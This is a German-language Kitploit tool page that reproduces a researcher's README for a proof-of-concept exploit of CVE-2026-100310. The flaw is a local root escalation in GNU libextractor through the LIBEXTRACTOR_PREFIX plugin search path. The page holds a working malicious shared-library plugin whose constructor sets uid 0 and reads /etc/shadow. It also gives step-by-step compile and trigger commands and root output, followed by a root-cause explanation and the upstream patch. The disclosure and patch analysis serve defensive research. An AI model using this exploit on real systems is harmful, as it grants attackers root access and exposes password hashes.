Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
libextractor-privesc — Proof-of-Concept für CVE-2026-100310, eine lokale Rechteausweitung in GNU libextractor ≤1.15 über den nicht vertrauenswürdigen Suchpfad LIBEXTRACTOR_PREFIX, mit Exploit-Code und Patch-Analyse. | Kitploit
Tools/GitHubGitHub/haitam-lazaar/libextractor-privesc
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubhaitam-lazaar/libextractor-privesc

libextractor-privesc

Proof-of-Concept für CVE-2026-100310, eine lokale Rechteausweitung in GNU libextractor ≤1.15 über den nicht vertrauenswürdigen Suchpfad LIBEXTRACTOR_PREFIX, mit Exploit-Code und Patch-Analyse.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 10h 52mNoch nicht geprüft

CVE-2026-100310: GNU libextractor Privilegieneskalation über LIBEXTRACTOR_PREFIX

Zusammenfassung

Der Plugin-Lademechanismus von GNU libextractor verwendet die Umgebungsvariable LIBEXTRACTOR_PREFIX, um zu bestimmen, von wo Shared Libraries (.so-Plugins) geladen werden. Da getenv() anstelle von secure_getenv() verwendet wird, wird diese Umgebungsvariable nicht entfernt, wenn ein Prozess mit erhöhten Privilegien ausgeführt wird. Ein Angreifer kann LIBEXTRACTOR_PREFIX auf ein bösartiges Verzeichnis setzen und so jede Anwendung, die libextractor-Plugins lädt, zur Ausführung beliebigen Codes zwingen.

Primäre Auswirkung: Lokale Privilegieneskalation (LPE) zu root.

FeldWert
CVECVE-2026-100310
ProduktGNU libextractor
Betroffene Versionen>= 0, < 1.16
Behobene Version1.16
CVSS 4.07.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
SchweregradHIGH
CWECWE-426 (Untrusted Search Path)
AngriffsvektorLokal
Erforderliche PrivilegienNiedrig
BenutzerinteraktionKeine
CNAVulnCheck
ForscherHaitam Lazaar

Hinweis: Damit diese Schwachstelle zu einer lokalen Privilegieneskalation führt, muss ein Administrator eine Binärdatei konfiguriert haben, die mit libextractor verlinkt ist und das setuid-Bit gesetzt hat. Obwohl libextractor selbst keine setuid-Binärdatei mitliefert, ist jeder privilegierte Prozess oder Systemdaemon, der diese Bibliothek dynamisch linkt und es versäumt, die Umgebung manuell zu bereinigen, anfällig für eine vollständige Kompromittierung.

Betroffene Software

  • GNU libextractor ≤ 1.15
  • Jede setuid-Binärdatei oder jeder privilegierte Daemon, der gegen libextractor linkt

Proof of Concept (Demo)

Privilege Escalation Demo

Die obige Animation demonstriert den Exploit. Der Angreifer kompiliert eine bösartige Shared Library (evil_plugin.c) und platziert sie in /tmp/evil_plugins. Durch Ausführen einer setuid-Binärdatei, die libextractor verwendet, und Voranstellen von LIBEXTRACTOR_PREFIX=/tmp/evil_plugins vor den Befehl lädt der dynamische Linker das bösartige Plugin mit erhöhten Privilegien. Dies führt sofort beliebige Befehle als root aus, demonstriert durch Schreiben der Ausgabe von id und der geschützten Datei /etc/shadow nach /tmp/privesc_proof.

Angriffsszenario & Ausnutzung

Die Schwachstelle wird primär durch Ausnutzung der Umgebungsvariable LIBEXTRACTOR_PREFIX ausgelöst.

(Hinweis: libextractor enthält auch sekundäre unsichere Fallbacks über /proc/PID/maps und beschreibbare PATH-Verzeichnisse, aber die Umgebungsvariablen-Injektion ist der direkteste und zuverlässigste Angriffsvektor).

Proof-of-Concept-Code

root@kitploit:~
/*
 * evil_plugin.c — Malicious libextractor plugin for privilege escalation
 * Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
 * When any setuid application loads the OLE2 plugin, this constructor
 * escalates to full root (uid=0, gid=0) and runs arbitrary commands.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
    setuid(0);
    setgid(0);

    /* Now running as full root — shell commands work */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

Auslösen des Exploits

Getestet auf Ubuntu 24.04 mit libextractor 1.14:

root@kitploit:~
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

Verifikation (Vollständiges Root)

root@kitploit:~
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

Ursache

In src/main/extractor_plugpath.c ruft die Funktion get_installation_paths() das Standard-getenv() auf:

root@kitploit:~
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

Da secure_getenv() nicht verwendet wird, entfernt der dynamische Linker diese Variable nicht, wenn die Binärdatei mit erhöhten Privilegien ausgeführt wird (im Gegensatz zu LD_PRELOAD oder LD_LIBRARY_PATH). lt_dlopenadvise() lädt dann blind libextractor_<name>.so aus dem vom Angreifer kontrollierten Pfad.

Offizieller Patch (libextractor 1.16)

Der Maintainer hat dies in Version 1.16 behoben, indem getenv() durch secure_getenv() ersetzt wurde, was NULL zurückgibt, wenn der Prozess mit erhöhten Privilegien ausgeführt wird (euid != uid).

root@kitploit:~
-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))

Referenzen

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-100310
  • VulnCheck-Advisory: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.16-privilege-escalation-via-libextractor-prefix
  • Upstream-Patch-Commit: https://git.gnunet.org/gnunet/libextractor/commit/6edfa653c048800e24a17f7e8cc2bb42659b8d01.html
  • Produkt-Releases: https://ftp.gnu.org/gnu/libextractor/
  • Produkt: https://www.gnu.org/software/libextractor/

Danksagung

Entdeckt von mir (Haitam Lazaar) im Rahmen meiner unabhängigen Sicherheitsforschung.

Anerkennungen

Besonderer Dank gilt Christian Grothoff, dem Maintainer von GNU libextractor, für seine unglaublich schnelle Triage, professionelle Kommunikation und zügige Bereitstellung von Patches (v1.15, v1.16 und v1.17) zur Behebung dieser und mehrerer anderer während dieses Audits gemeldeter Speichersicherheitsprobleme.

Lizenz

Meine Forschung wird für Bildungs- und Verteidigungszwecke bereitgestellt. Verantwortungsvoll verwenden.

Tool herunterladen